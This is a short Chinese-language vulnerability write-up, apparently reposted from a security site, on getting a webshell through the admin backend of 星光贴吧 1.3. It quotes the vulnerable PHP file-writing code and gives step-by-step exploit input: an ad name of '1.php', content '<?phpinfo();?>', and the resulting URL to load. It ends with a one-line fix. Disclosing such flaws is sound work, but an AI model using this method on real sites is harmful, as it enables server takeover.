好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

星光贴吧1.3 后台拿SHELL及修复方案 - 网站安全

by:风之传说 今天分析了两个程序,都发了吧。

好吧,我承认有点鸡肋。。 我们先来看看这个文件 /common.function.php   01functionwrite_file($l1,$l2=''){  //写文件 02       $dir= dirname($l1); 03       if(!is_dir($dir)){ 04               mkdirss($dir); 05       } 06       return@file_put_contents($l1,$l2 ); 07} 08functionread_file($l1){ 09       return@file_get_contents($l1 ); 10} 11// 数组保存到文件 12functionarr2file($filename,$arr=''){ 13       if(is_array($arr)){ 14               $con= var_export($arr,true); 15       }else{ 16               $con=$arr; 17       } 18       $con="<?php\nreturn $con;\n?>";//\n!defined('IN_MP') && die();\nreturn $con;\n 19       write_file($filename,$con); 20} 上面是定义的函数,我们主要看write_file这个函数,OK我们再来看看后台的一个文件l admin\module\extendMod.class.php   1$array=$_POST;       //POST提交的数组赋值给$array 2          if(!empty($array['ads_name_sub'])){ 3                    if($this->model->table('ads')->where('        adsname="'.trim($_POST['ads_name_sub']).'"')->find()){ 4                               $this->error('该广告标识已经存在,请重新填写一个广告标识!'); 5                       } 6                       $data['adsname'] = trim($array['ads_name_sub']);   //文件名 7                       $data['adscontent'] =stripslashes(trim($array['ads_content_sub']));  //内容 8                       $this->model->table('ads')->data($data)->insert($data); 9                       write_file(ROOT_PATH.'/data/ads/'.$data['adsname'].'.js',t2js($data['adscontent']));   //写SHELL 进入后台,然后浏览 http://www.2cto.com /admin/index.php/extend/ads.html 然后广告识别码填:1.php

广告内容填:<?phpinfo();?>

然后访问 http://www.2cto.com /data/ads/1.php.js  就可以看到我们可爱的马了。当然1.php.js这样的解析得看环境了。

所以说鸡肋,但是也是拿SHELL的一种方法。

 修复:过滤这两项输入内容

查看更多关于星光贴吧1.3 后台拿SHELL及修复方案 - 网站安全的详细内容...

  阅读:41次